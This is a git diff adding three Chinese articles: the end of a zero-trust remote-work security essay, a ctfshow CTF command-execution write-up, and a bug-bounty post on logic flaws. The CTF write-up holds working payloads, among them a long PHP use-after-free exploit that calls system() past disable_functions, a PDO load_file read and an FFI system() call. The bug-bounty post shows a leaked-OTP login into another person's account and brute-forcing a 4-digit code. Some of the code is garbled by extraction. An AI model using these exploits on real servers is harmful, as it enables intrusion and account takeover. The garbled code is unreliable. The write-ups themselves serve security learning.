+首先是网络暴露面的增加。为了支撑远程办公,原本只能在内网访问的高敏感度的业务系统不得不对互联网开放。目前远程办公使用最多的是两种接入方式,一种是通过端口映射将业务系统直接开放公网访问;一种是使用VPN打通远程网络通道。无论哪种方式,都是对原本脆弱的网络边界打上了更多的“洞”,敏锐的攻击者一定不会放过这些暴露面。 + +其次是接入网络的人员、设备、系统的多样性呈指数型增加。网络安全本来就是一个复杂的系统工程,远程办公模式允许员工、外包人员、合作伙伴等各类人员,使用家用PC、个人移动终端,从任何时间、任何地点远程访问企业内部业务。参差不齐的终端接入设备和系统,具有极大的不确定性,各种接入人员的身份和权限管理混乱,弱密码屡禁不止,这些都会给企业网络带来了极大的风险。 + +最后是数据流动的复杂性。企业的业务数据在复杂的人员、设备、系统之间频繁流动起来,原本只能存放于企业数据中心的数据不得不面临在员工个人终端的留存,企业数据和个人数据甚至混在一起,企业数据的机密性难以确保,数据泄露和滥用风险大幅增加。 + +远程办公的复杂性导致企业已经不存在单一的、易识别的、明确的安全边界,或者说,企业的安全边界已经被瓦解,传统解决方案难以应对。 + +事实上,近年来外部攻击的规模、手段、目标等都在演化,有组织的、攻击武器化、以数据及业务为攻击目标的高级持续攻击屡见不鲜,且总是能找到各种漏洞突破企业的边界并横向移动,可以说企业的网络安全边界原本就已经很脆弱,远程办公可以说是让这种脆弱性雪上加霜。 + +各组织也都在对自己的安全边界进行“加固”,尽量使用VPN远程接入而非直接开放业务端口,增强威胁检测的能力等,然而,这些手段基本上可以视作是传统的边界安全方案上的单点增强,难以系统性缓解远程办公带来的安全威胁。攻击者可以轻易利用弱密码或破解来的密码通过VPN进入内网,也可能利用VPN漏洞、业务系统漏洞直接进行渗透,突破企业边界,并且由于内网安全控制措施的不足,攻击者可以肆意横向移动,并最终窃取有价值的数据资产。 +## 3.零信任架构成为企业远程办公安全之“基” + +随着用户和资产变得更加分散和远程,企业需要更好的方式来收集、处理和分析数据以进行网络风险管理。如何在人员、设备和业务之间构建一张虚拟的基于身份的逻辑边界,保护业务系统与数据安全防护将变得尤为重要。而安全防护关键点在于,如果仅仅针对远程接入场景构建安全体系,完全忽略内部业务访问、安全域或服务之间的数据交换、数据中心的系统运维等场景,是完全不可取的,仍然是边界安全思维。正确的安全防护思维应该是不区分内外网,针对核心业务和数据资产,梳理访问这些资产的各种访问路径和场景,针对各种场景构建一体化的基于数字化身份为中心的远程用户可信身份认证、安全风险持续评估及动态访问控制体系。 + +零信任架构通过以身份为“基石”、业务安全访问、持续信任评估和动态访问控制的关键能力,基于对网络所有参与实体的数字身份,对默认不可信的所有访问请求进行加密、认证和强制授权,汇聚关联各种数据源进行持续信任评估,并根据信任的程度动态对权限进行调整,最终在访问主体和访问客体之间建立一种动态的信任关系,针对远程办公场景,基于零信任典型参考架构: + +**远程办公安全典型参考架构** + +(1)可信代理 + +可信代理是零信任架构的数据平面组件,是确保业务安全访问的第一道关口,是动态访问控制能力的策略执行点。可信代理拦截来自PC和移动终端的业务访问请求后,通过动态访问控制引擎对发起请求的用户和设备进行身份认证,并对权限进行动态判定。 + +(2)动态访问控制引擎 + +动态访问控制引擎和可信代理联动,对所有访问请求进行认证和动态授权,是零信任架构控制平面的策略判定点。 + +动态访问控制引擎对所有的访问请求进行权限判定,权限判定的依据基于访问请求上下文属性、信任等级和安全策略进行动态判定。 + +(3)信任评估引擎 + +信任评估引擎是零信任架构中实现持续信任评估能力的核心组件,和动态访问控制引擎联动,为其提供信任等级评估作为授权判定依据。 + +信任评估引擎持续接收可信代理、动态访问控制引擎的日志信息,结合身份库、权限库数据以及可信终端环境感知、可信网络环境感知上报的风险信息,基于大数据和人工智能技术,对信任进行持续评估,最终生成和维护信任库,为动态访问控制引擎提供决策依据。 + +(4)可信终端环境感知 + +可信终端环境感知是零信任架构中重要的环境感知组件之一,为信任评估引擎提供终端环境的感知信息和风险评估输入,可以感知和识别终端身份、终端安全属性、终端行为异常等信息。 + +(5)可信网络环境感知 + +可信网络环境感知是零信任架构中重要的环境感知组件之一,为信任评估引擎提供网络环境的感知信息和风险评估输入,可以感知和识别网络流量方面的风险和异常,并作为事件通知信任评估引擎。 +## 4.企业远程办公系统与数据安全之“道” + +疫情期间,很多公司都采用了让员工在家办公的方式,但对于很多有内网安全要求的企业来讲,很多需要在办公室访问的业务和应用,在家很难访问。这种时候,企业之前最先想到的方法是重新配置VPN。但是这种方法的弊端在于,开了VPN给远程办公的员工使用的同时,也等于给黑客攻击提供了入口。针对远程办公常态化的趋势和其面临的安全挑战,需要更多的结构化的思考和应对。 + +远程办公导致网络风险加剧和传统的边界安全体系失效,但这些安全挑战一直就存在,并非远程办公导致了这些安全挑战,而是因为安全架构没有及时跟上节奏,在大规模的远程办公压力下,把这些问题放大了而已。 + +事实上,企业数字化转型推动着云大物移等新技术的采用,早就已经埋下了边界瓦解的种子,企业应该直面这种趋势,把远程办公看成是现代企业业务的一个有机组成部分,当做一种常态,企业“边界”之外的人、设备、系统接入网络已是不可逆转的趋势,企业的业务和数据走出“边界”上云也是信息技术发展的必然。基于企业业务视角和安全常态化思维,审视现有的安全架构,将远程办公作为企业数字化转型的业务场景之一,而不是将其作为一个单点进行加固。在新形势下面临的新型IT环境和办公环境,建议基于零信任思想,对安全架构进行升级,“端到端”保护核心业务系统及数据。 +### 4.1 远程办公系统与数据安全防护之“术” + +**企业基于远程办公场景系统数据防护自适应安全框架** + +基于业务场景自适应的企业安全框架实现基础是所有参与访问的边缘侧人员、设备和物联终端的全面身份化管理,和多对象信任等级评估。目标是基于大数据可信用户深度行为分析和用户身份智能鉴别,构建动态访问控制模型框架,实现边缘侧对象全身份化管理。为实现项目目标,通过如下模块实现: + +(1)用户身份化管理 + +基于现有统一权限平台、一体化平台目录服务建设成果,面向企业数据中心,开展身份凭证、认证与鉴别、授权和访问控制等技术研究,实现边缘侧用户对象的身份化管理和权限管理。 + +(2)设备身份化管理 + +泛终端设备大多由泛终端厂商提供的管理平台进行身份管理,方案碎片化严重,泛终端边缘接入技术适配多场景下的泛终端设备管理方案,通过识别HTTP、MQTT协议的关键信息对泛终端设备进行身份识别;另外,也可以和泛终端管理平台联动,基于标准的OAuth2.0等协议建立身份鉴别基础。 + +基于设备唯一标识,结合基于企业边缘接入网关的接入协议分析和挖掘,开展设备身份化管理。 + +(3)日志分析 + +基于接入日志分析,获取业务访问信息,通过对边缘网关访问控制日志、设备接入认证日志、应用访问日志及数据库访问日志等进行关联分析和深度挖掘,进行用户行为深度分析研究,以历史行为为基础,自动构建出初始安全标准行为均线,而后续的使用行为,也将作为安全标准行为均线的计算依据,不断对安全标准行为均线进行修正,辅助创建用户信任等级模型。 + +(4)访问行为分析模型 + +在访问行为分析模型中,对用户历史行为数据进行统计分析,建立用户行为基线,形成用户行为基线库。统计分析的维度包括用户操作时间、常用地理位置、操作次数、设备使用分布,用于评估用户日常访问发起的时间段、频次、经常访问的地理位置、经常采用的设备,以及对用户行为的推测分析。同时,基于配置的用户组及用户行为基线情况相加可以构成用户组的行为基线。 + +访问行为分析模型能够从时间、位置、设备、操作等维度度量风险。基于用户行为基线,访问行为分析模型可以提供基于个人异常时间操作、基于群组异常时间操作、账号在非常用地理位置操作、账号同时在不同的位置上操作、多账号在同一设备操作、同账号在多设备操作、操作次数超过个人均值、操作次数超过群组内均值等异常事件检测,再结合信任评分规则对用户信任等级进行评定。在进行具体的计算时候,首先通过分析用户的某次操作与行为基线的偏离程度来评估用户的异常风险概率,计算规则可配置,如可设置为某次操作与历史行为中相同操作的占比;第二通过比较异常风险概率与异常事件判定阈值判定异常事件,阈值可根据分析结果自适应调整;第三根据为异常事件配置的风险分值,计算信任等级。对于API用户来说,访问行为分析模型同样适用,API的调用时间、频次等都可以做(作)为评估因素。 + +(5)输入行为分析模型 + +用户输入行为分析基于动态键盘输入行为对用户进行身份识别,分析是否为非法用户使用合法口令来登录系统,最终作为用户信任等级的构成部分。第一阶段为用户行为特征分析阶段,用户输入行为分析首先进行数据搜集和分析,从键盘获取用户的击键信息,得到原始数据,经过预处理和过滤处理后,再通过数据分析提取输入特征,击键特征通常包括持续时间、转移时间等;同时考虑到准确性,重点对静态文本,即针对一个固定的字符串或者一段特定的文本所对应的击键行为,提取特征为进行身份识别提供依据。第二阶段为模型训练阶段,根据积累的数据及提取的特征建立模型库,对于模型的构建会选用多种算法以提升判断准确率,如K-means、One Class SVM、Isolation Forest等,用户模型库的建立基于每个用户。第三阶段是数据预测阶段,也就是基于搜集的用户击键方式进行身份识别,将击键数据与模型库进行比对,是否存在模型,若不存在,则给出数据不足反馈,若模型存在,则基于模型对用户密码输入模式进行认证。如果比对成功,则表示身份认证通过,信任等级T可判定为最高;反之匹配和身份认证失败,信任等级T可判定为较低或最低,计入用户信任等级计算,以保障口令的合法使用。同时,判断结果可以作为模型调整和更新的依据,保证模型库最新,以进一步提升系统验证过的准确性和稳定性。 + +(6)用户信任等级评估 + +基于用户行为的时间、位置、设备、频度、结果等属性定义了多种使用场景下的安全判定规则,创建推理分析模型、多种用户行为模型、构建用户信任等级模型,进行用户信任等级评估研究。 + +(7)业务信任等级评估 + +结合企业一体化平台、对内业务、对外业务的业务特性,对业务进行信任等级的划分。按照分阶段、分多次、逐步细化,逐级细化创建业务信任等级模型。 +### 4.2 网络安全与信息化建设应同步之“策”  + +网络安全和信息化相辅相成,安全是发展的前提,发展是安全的保障,安全和发展要同步推进,对于迅速崛起的远程办公更是如此。面对已经提前到来的远程办公浪潮,对于每一个企业主,都需要汲取过去信息化和安全相互独立并行的教训,而是在战略规划之初,就将两者同步考虑和部署下去,只有这样策略,才能让企业把握住远程办公的浪潮,实现安全、平稳的数字化转型和升级。 +## 5.开展企业远程办公员工安全教育与培训 + +“人的因素”是网络安全绕不开的话题,也是网络安全的根本问题。事实上,任何时候,人永远是安全必不可少的因素,国内某大型安全厂商曾提出过“人是安全的尺度”的思想。远程办公场景下,员工面临的网络风险和现场办公存在较大的差异,员工现有安全意识和远程办公的安全现状之间会出现鸿沟,并且由于办公场所的变更,员工的安全意识会出现一定程度的弱化。因此,需要针对性的加强员工安全教育和培训,帮助员工了解他们可能无意间引入企业的安全风险,并对场景风险的缓解和处置方式进行培训,降低由于缺乏意识或无意之间的意识弱化导致的安全风险。 +## 6.结语 + +企业业务系统和数据资产防护建设,以零信任架构为指引和借鉴,以“身份为中心”的安全思想对远程接入终端、设备、系统、应用进行持续验证、风险评估和动态控制,结合安全大数据和人工智能建模技术,通过对零信任架构进行解构,按照模块化、分阶段部署方式落地。零信任架构提供一系列概念、理念、组件及其交互关系,以便消除针对信息系统、业务数据进行精准访问判定所存在的不确定性。企业IT信息化和网络安全防护和信息化管理水平日趋成熟完善,但在后疫情时期远程办公常态化背景下,为了企业核心业务系统和数据可视、可控、可管,需要聚焦远程办公场景的人、设备、流程、访问、环境等多维因素,通过“以身份为基石、业务安全访问、持续信任评估、动态访问控制”等关键能力,缓解企业端到端的业务访问风险,为组织的数字化转型保驾护航。 + diff --git a/doc/2026-02/ctfshow web入门 命令执行4.md b/doc/2026-02/ctfshow web入门 命令执行4.md new file mode 100644 index 00000000..48a2237d --- /dev/null +++ b/doc/2026-02/ctfshow web入门 命令执行4.md @@ -0,0 +1,912 @@ +# ctfshow web入门 命令执行4 +zoe + zoe 哦0吼 2026-02-12 02:10 + +Web71 + +没有源码了,警告了一堆啥,题目有下载源码,先看看源码 + +![](https://mmbiz.qpic.cn/mmbiz_png/DBT7MicbvsEwpH0aUFUSuMeBnw2yLdzv69wz65YhevqFF45VERR3TjZwg9jIeXRJd5mzAyQ4Q1tpLd4fM43lyrTalJiaLtTB9BoYAFRpgVsBM/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/DBT7MicbvsEwSb2ibQQ0mnLtj1eqPjt5wNUia4MwgP7VIcNAL8VbRNu4Uwk60fKoUiaoylPtRf37Vt6YytB0uOF9qZkVAaSgG6870J3XMJ2JGIE/640?wx_fmt=png "") + +可以发现,执行完eval函数后  + +$s = ob_get_contents(); //捕获eval执行后的所有输出内容(输出缓冲区) + +  +ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); + +// 清空输出缓冲区,不直接显示原始内容。把所有数字、大小写字母替换成?,再输出  + +  + +那么我们可以在eval执行后提前截断,使它不执行后面代码 + +可以用exit() die() + +c=include('/flag.txt');exit(); + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DBT7MicbvsEzibuiclpagVtzxPD5JM22gAEJbNvRT0WkTauffeo47vBGqAnMocIqlN68v4e82CibHxA4pxKV8bjGe8ica2t9LOluKIVKRnY51LzA/640?wx_fmt=png "") + +Web72 + +查看根目录发现warning + +发现open_basedir限制了读取,这里只允许访问 /var/www/html/ 目录。 + +![](https://mmbiz.qpic.cn/mmbiz_png/DBT7MicbvsEyGQj24JBmw78XHZ8rx4IAkSHtB1broJdoseB9biaJ1XEGIM2jU8pnqoib5kagSliaMYkibPZLZ8j1liaMU1hYvGmIjn0IJRmYM0mMk/640?wx_fmt=png "") + +不太会,看来其他师傅的操作 + +ctfshow web入门--命令执行_ctfshow web入门命令执行-CSDN博客 + +可以利用glob伪协议,glob伪协议在筛选目录时不受open_basedir制约。 + +![](https://mmbiz.qpic.cn/mmbiz_png/DBT7MicbvsEwJtxicFwHx0VoDWawxpDib5Csgmu38kJ3GGVoOj9IXjgDaVGCttmpGIG0bPHeQpq2tLfgVGmQrwDulBhSibJiaIqTuy2MOJibOAV1k/640?wx_fmt=png "") + +c= +𝑎 += +𝑛𝑒𝑤𝐷𝑖𝑟𝑒𝑐𝑡𝑜𝑟𝑦𝐼𝑡𝑒𝑟𝑎𝑡𝑜𝑟 +(" +𝑔𝑙𝑜𝑏 +:/// +∗ +"); +𝑓𝑜𝑟𝑒𝑎𝑐ℎ +( + +a as f) +   +{ +       +echo( + +f->__toString().' '); + +} + +exit(0); + +  + +或者: + +c=$a=opendir("glob:///*");while(($file = readdir($a)) !== false){echo $file . "           + +";};exit(); + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DBT7MicbvsEzSWVV6VJMT2oQlVC21IOydwSqFkY6iahmSw0VowNpkP6SQuojHO7Ny3JJj1uZMbtJtqpiag7DdTfQzHwjibFm6A9kAQGX7GVLq8g/640?wx_fmt=png "") + +可以知道了flag应该在flag0.txt里面,那么需要绕过安全限制可以用UAF漏洞利用代码 + +注意要进行编码 + +脚本 + +function ctfshow($cmd) { + +     +global +  +$abc, $helper, $backtrace; + +     +class +  +Vuln { + +         +public +  +$a; + +         +public +  +function __destruct() { + +             +global +  +$backtrace; + +             +unset($this->a); + +             +$backtrace +  += (new Exception)->getTrace(); + +             +if(!isset($backtrace[1]['args'])) +  +{ + +                 +$backtrace +  += debug_backtrace(); + +             +} + +         +} + +     +} + +     +class +  +Helper { + +         +public +  +$a, $b, $c, $d; + +     +} + +     +function +  +str2ptr(&$str, $p = 0, $s = 8) { + +         +$address +  += 0; + +         +for($j +  += $s-1; $j >= 0; $j--) { + +             +$address +  +<<= 8; + +             +$address +  +|= ord($str[$p+$j]); + +         +} + +         +return +  +$address; + +     +} + +     +function +  +ptr2str($ptr, $m = 8) { + +         +$out +  += ""; + +         +for +  +($i=0; $i < $m; $i++) { + +             +$out +  +.= sprintf("%c",($ptr & 0xff)); + +             +$ptr +  +>>= 8; + +         +} + +         +return +  +$out; + +     +} + +     +function +  +write(&$str, $p, $v, $n = 8) { + +         +$i +  += 0; + +         +for($i +  += 0; $i < $n; $i++) { + +             +$str[$p +  ++ $i] = sprintf("%c",($v & 0xff)); + +             +$v +  +>>= 8; + +         +} + +     +} + +     +function +  +leak($addr, $p = 0, $s = 8) { + +         +global +  +$abc, $helper; + +         +write($abc, +  +0x68, $addr + $p - 0x10); + +         +$leak +  += strlen($helper->a); + +         +if($s +  +!= 8) { $leak %= 2 << ($s * 8) - 1; } + +         +return +  +$leak; + +     +} + +     +function +  +parse_elf($base) { + +         +$e_type +  += leak($base, 0x10, 2); + +         +$e_phoff +  += leak($base, 0x20); + +         +$e_phentsize +  += leak($base, 0x36, 2); + +         +$e_phnum +  += leak($base, 0x38, 2); + +         +for($i +  += 0; $i < $e_phnum; $i++) { + +             +$header +  += $base + $e_phoff + $i * $e_phentsize; + +             +$p_type +   += +  +leak($header, 0, 4); + +             +$p_flags +  += leak($header, 4, 4); + +             +$p_vaddr +  += leak($header, 0x10); + +             +$p_memsz +  += leak($header, 0x28); + +             +if($p_type +  +== 1 && $p_flags == 6) { + +                 +$data_addr +  += $e_type == 2 ? $p_vaddr : $base + $p_vaddr; + +                 +$data_size +  += $p_memsz; + +             +} +  +else if($p_type == 1 && $p_flags == 5) { + +                 +$text_size +  += $p_memsz; + +             +} + +         +} + +         +if(!$data_addr +  +|| !$text_size || !$data_size) + +             +return +  +false; + +         +return +  +[$data_addr, $text_size, $data_size]; + +     +} + +     +function +  +get_basic_funcs($base, $elf) { + +         +list($data_addr, +  +$text_size, $data_size) = $elf; + +         +for($i +  += 0; $i < $data_size / 8; $i++) { + +             +$leak +  += leak($data_addr, $i * 8); + +             +if($leak +  +- $base > 0 && $leak - $base < $data_addr - $base) { + +                 +$deref +  += leak($leak); + +                 +if($deref +  +!= 0x746e6174736e6f63) + +                     +continue; + +             +} +  +else continue; + +             +$leak +  += leak($data_addr, ($i + 4) * 8); + +             +if($leak +  +- $base > 0 && $leak - $base < $data_addr - $base) { + +                 +$deref +  += leak($leak); + +                 +if($deref +  +!= 0x786568326e6962) + +                     +continue; + +             +} +  +else continue; + +             +return +  +$data_addr + $i * 8; + +         +} + +     +} + +     +function +  +get_binary_base($binary_leak) { + +         +$base +  += 0; + +         +$start +  += $binary_leak & 0xfffffffffffff000; + +         +for($i +  += 0; $i < 0x1000; $i++) { + +             +$addr +  += $start - 0x1000 * $i; + +             +$leak +  += leak($addr, 0, 7); + +             +if($leak +  +== 0x10102464c457f) { + +                 +return +  +$addr; + +             +} + +         +} + +     +} + +     +function +  +get_system($basic_funcs) { + +         +$addr +  += $basic_funcs; + +         +do +  +{ + +             +$f_entry +  += leak($addr); + +             +$f_name +  += leak($f_entry, 0, 6); + +             +if($f_name +  +== 0x6d6574737973) { + +                 +return +  +leak($addr + 8); + +             +} + +             +$addr +  ++= 0x20; + +         +} +  +while($f_entry != 0); + +         +return +  +false; + +     +} + +     +function +  +trigger_uaf($arg) { + +         +$arg +  += str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); + +         +$vuln +  += new Vuln(); + +         +$vuln->a +  += $arg; + +     +} + +  + +     +if(stristr(PHP_OS, +  +'WIN')) { + +         +die('This +  +PoC is for *nix systems only.'); + +     +} + +     +$n_alloc +  += 10; + +     +$contiguous +  += []; + +     +for($i +  += 0; $i < $n_alloc; $i++) + +         +$contiguous[] +  += str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); + +     +trigger_uaf('x'); + +     +$abc +  += $backtrace[1]['args'][0]; + +     +$helper +  += new Helper; + +     +$helper->b +  += function ($x) { }; + +     +if(strlen($abc) +  +== 79 || strlen($abc) == 0) { + +         +die("UAF +  +failed"); + +     +} + +     +$closure_handlers +  += str2ptr($abc, 0); + +     +$php_heap +  += str2ptr($abc, 0x58); + +     +$abc_addr +  += $php_heap - 0xc8; + +     +write($abc, +  +0x60, 2); + +     +write($abc, +  +0x70, 6); + +     +write($abc, +  +0x10, $abc_addr + 0x60); + +     +write($abc, +  +0x18, 0xa); + +     +$closure_obj +  += str2ptr($abc, 0x20); + +     +$binary_leak +  += leak($closure_handlers, 8); + +     +if(!($base +  += get_binary_base($binary_leak))) { + +         +die("Couldn't +  +determine binary base address"); + +     +} + +     +if(!($elf +  += parse_elf($base))) { + +         +die("Couldn't +  +parse ELF header"); + +     +} + +     +if(!($basic_funcs +  += get_basic_funcs($base, $elf))) { + +         +die("Couldn't +  +get basic_functions address"); + +     +} + +     +if(!($zif_system +  += get_system($basic_funcs))) { + +         +die("Couldn't +  +get zif_system address"); + +     +} + +     +$fake_obj_offset +  += 0xd0; + +     +for($i +  += 0; $i < 0x110; $i += 8) { + +         +write($abc, +  +$fake_obj_offset + $i, leak($closure_obj, $i)); + +     +} + +     +write($abc, +  +0x20, $abc_addr + $fake_obj_offset); + +     +write($abc, +  +0xd0 + 0x38, 1, 4); + +     +write($abc, +  +0xd0 + 0x68, $zif_system); + +     +($helper->b)($cmd); + +     +exit(); + +} + +ctfshow("cat /flag0.txt");ob_end_flush(); + +  + +![](https://mmbiz.qpic.cn/mmbiz_png/DBT7MicbvsEwziaFL0vxCQhXv5IVQicWUgvctV9ibCIeZibeIpaq7pwTRBiaBak8ibMMOCy8y7bkUGxB10ngibFhPjJoDuNNRWVwrwOQy4hOZx0c0fU/640?wx_fmt=png "") + +Web72 + +这一关没给源码,先看看能看根目录吗 + +c=var_export(scandir('/'));exit(); + +发现可以,并且存在flagc.txt文件 + +![](https://mmbiz.qpic.cn/mmbiz_png/DBT7MicbvsEwVQkhaBibFHY99g0e8ojrNSjznNRauTXiaXjOfxZPfuQQtCy3xTInzUaHLb1KqvkUibcOrRgWF6tovFy8CdGxUSibqXBWdALcUONE/640?wx_fmt=png "") + +c=include('/flagc.txt');exit(); + +  + +![](https://mmbiz.qpic.cn/mmbiz_png/DBT7MicbvsEyKQRPRBKke7Th9icZaL6yCtnTdfQlzvTrgXd6VRLRJCIicJb7q46NAR0LJh5nDpkiaOlF1xicHTprmo1xrCSkS7RF96tpQXVZqCO0/640?wx_fmt=png "") + +Web74 + +查看根目录发现有安全保护 + +还是尝试用glob伪协议读取 + +c=$a=opendir("glob:///*");while(($file = readdir($a)) !== false){echo $file . "           + +";};exit(); + +发现flagx.txt + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DBT7MicbvsEwZOvHIzIwbODywj952dDZZdibLBZzUmt95CNcWmyC7hTZyv9D07gZxibg3OXzQIe6F1erGL7HXxIEQmGicMJicWyBzxOP1rIHlaGA/640?wx_fmt=png "") + +c=include('/flagx.txt');exit();得到flag +   +(注意:PHP 的安全限制是精准禁用单个高危函数,而非禁用所有文件操作,这题应该是scandir(目录遍历)被禁,include(文件引入)未被禁。) + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DBT7MicbvsEzCUNtyOibNDda9fQet1Iyc4CZJklTJXfuNlxibVBiaOoEyj32J4wcAqhjicGUiaWSKk1icLq5Sm9jZoXkV2ylfF2HNot729art0Ygqk/640?wx_fmt=png "") + +Web75 + +同样操作得到flag36.txt + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DBT7MicbvsEyXel9XmEiaQjIVg9UknxfDH2MIg17A8rNgVic3xs9saf7wE09aEv5P0fVT3ibGd4kcRXF1gKVf5GWjDR52OtFaRicicuNBYoiaXxbn8/640?wx_fmt=png "") + +Include读文件又有安全机制了,那么uaf还能用吗,发现不成了 + +看了网上很多师傅的 + +是通过PDO连接数据库information_schema(默认数据库) + +![](https://mmbiz.qpic.cn/mmbiz_png/DBT7MicbvsEyfslXUZjfnP7lc6QL9magib3v3Pdn9O9saUuG9wJmroBUVib5fOqhxHHVmhBXvaGvxibZqQliboMWtbBL5Ro40S9eZSBESaU2rQf8/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DBT7MicbvsEzKBCM5McDnRIib8QWKZt8EKpcLF2JTxUMOJFWZHNQSIkEcT64sTKv3lWcNAnurb5xUavV6xoESxQIUEF9W6Vuj8AVZicUOy1Ycc/640?wx_fmt=png "") + +c=try {$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', + +'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) + +{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- + +>getMessage();exit(0);}exit(0); + +  + +![](https://mmbiz.qpic.cn/mmbiz_png/DBT7MicbvsEyJYVQibOZVia51sXX8mCWicxDgUckBXU2vH5n3DGHHQOZJWSo8BK4qGuZib2MrnlDIdzlM5mdRRkSghMcNFALPT3RB3tVSu4Pj450/640?wx_fmt=png "") + +Web76 + +与上一关一样 + +![](https://mmbiz.qpic.cn/mmbiz_png/DBT7MicbvsEzNLqQ50enQfDVHictJFCb1rJ3NX7hgtE3cibKP2sUherREugQnhSpwYVrB1vyg7KtrWRmFY1ic1mriaEia3WINwXfdPETvtGh04ibm4/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DBT7MicbvsEwicz4QyEzoJdVHn8PF58aSFgDQnt0fcKgxmibxaCWdSDhD8eBoib0ibWGvg1LrmLggxNMPIYcvCsb98aX0BfTP9YjOy8tterBUiaQc/640?wx_fmt=png "") + +Web77 + +![](https://mmbiz.qpic.cn/mmbiz_png/DBT7MicbvsEyPBjFBFgA52tSRCXgUXDnL73bX6L695SzBZA2BosZQafm4o6EADQlG9HRC2XPtKvHzB3SglWyFE81nQdN3USMsnY6bWqe4q1o/640?wx_fmt=png "") + +用上一关不行 + +提示说php7.4 + +可以用FFI + +FFI可以方便的调用C语言写的各种库。 + +通过FFI,可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag + +c=$ffi = FFI::cdef("int system(const char* command);"); + +$a='/readflag > 1.txt';  + +$ffi->system($a);  + +exit(); + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DBT7MicbvsEw8cRibFNSn2icyMhggcQTe400DHBLic4zF2t2D4jdKB9TIjYfIOed5Jwy8k59ibMKANRWlb0A6toaAclcOYSFklVPfGGn3kibB1QPI/640?wx_fmt=png "") + diff --git a/doc/2026-02/【SRC实战】逻辑漏洞.md b/doc/2026-02/【SRC实战】逻辑漏洞.md new file mode 100644 index 00000000..377f833d --- /dev/null +++ b/doc/2026-02/【SRC实战】逻辑漏洞.md @@ -0,0 +1,217 @@ +# 【SRC实战】逻辑漏洞 + 迪哥讲事 2026-02-12 03:00 + +📝 **编者语** + +兄弟们,最近挖洞挖得我有点“不好意思”了。 + +以前觉得挖洞是高智商攻防,是黑客与开发者的巅峰对决。但最近遇到的这几个系统,让我感觉开发者仿佛在给我发春节红包。 + +今天遇到的两个逻辑漏洞,全是“送分题”。来,一起感受下这种朴实无华的快乐。 + +(注:本文所有敏感信息已脱敏,仅供安全研究与教学交流,请勿用于非法用途。) + +1 + +马年“送”码 + +那天下午,我看上了某个小程序的登录框。 + +输入手机号,点“发送验证码”,本来已经做好了要掏出  +Burp Suite +大干一场的准备。 + +我想着:是要爆破呢?还是要在参数里绕过签名? + +结果,当我习惯性地看了一眼 +Response +时,我沉默了。 + +服务器给我的回显是这样的: +``` +{ +"code": "200", +"msg": "success", +"data": { +"verifyCode": "8842"  <-- 没错,它就在这 +} +} +``` + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ELQKhUzr34zLwtVUBEibzhvxzLXqGOSw0XM1gPPRmaz8CLoRP3U3CMyD2XXCgBcJTiado6adSEcDaP8lS9bcStvA/640?wx_fmt=png&from=appmsg "") + +我当时就揉了揉眼睛。 + +这就给我了? + +咱们之间是不是应该有点起码的“信任危机”?你把验证码直接放在响应包里,是怕我手机欠费收不到短信吗? + +操作步骤简直到离谱: + +1. 填入舍友的手机号。 + +2. 点发送,拦截包。 + +3. 抄下回显里的数字。 + +4. 登录成功。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ELQKhUzr34zLwtVUBEibzhvxzLXqGOSw0RNh9RILtmhs6wk2BO5WgpAUgTKfYGQwibrmg6RuD93UOlIgia6X51qiaQ/640?wx_fmt=png&from=appmsg "") + +这就是传说中的 +**露天大红** +?补偿局? + +2 + +暴力美学 + +都知道是 +**大红局** +了,那还不得好好挖挖,我又瞄了一眼注册接口。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DJX1rNqJe4lN9trz7FSdNiaNcM6RhFh9mqPEg1ib5uSo9ueZ2suD99I2nTbLdlKQ89mBhIbPnvp9bqF7TsjTRUGVjhfLRo8ZPZJDibwWzs5uTU/640?wx_fmt=png&from=appmsg "") + +这次开发学聪明了,响应包里没有验证码了。 + +但是,我又发现了一个盲点:验证码只有 +4 +位数。 + +0000 - 9999 +,一共才 +10000 +种可能。 + +关键是,我试着输错了几次,发现系统毫无反应——没有验证码错误次数限制,也没有频率限制。 + +同时有明确的判断条件 + +当输入错误的验证码,服务端返回4 + +![](https://mmbiz.qpic.cn/mmbiz_png/DJX1rNqJe4kOmwuAWAlIf3EUg1Mky7wjsVS6SMMjNJs1M3nQp23WycvNXGR0O3QZicTcdHJRHhQicvUPlZEHtKicX4rWbhsTlvLeyqDND0iaQN4/640?wx_fmt=png&from=appmsg "") + +当属于正确验证码,服务端返回1 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ELQKhUzr34zLwtVUBEibzhvxzLXqGOSw0Y5A3JyaRqibApysFCYrG8sw0uKLR2ic7eR9q599OwEnzk389ITAiaorHg/640?wx_fmt=png&from=appmsg "") + +既然嫂子都同意了,那我就不客气了。 + +掏出 +Burp Suite +,加载字典,线程拉满。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ELQKhUzr34zLwtVUBEibzhvxzLXqGOSw0aibBEvFpa4ONxF9HxGEdZicw8NMtjvD5NJzwN4IUWic8nRxReIzsqOfZQ/640?wx_fmt=png&from=appmsg "") + +开始了嘛?不已经结束了! + +你怎么那么快? + 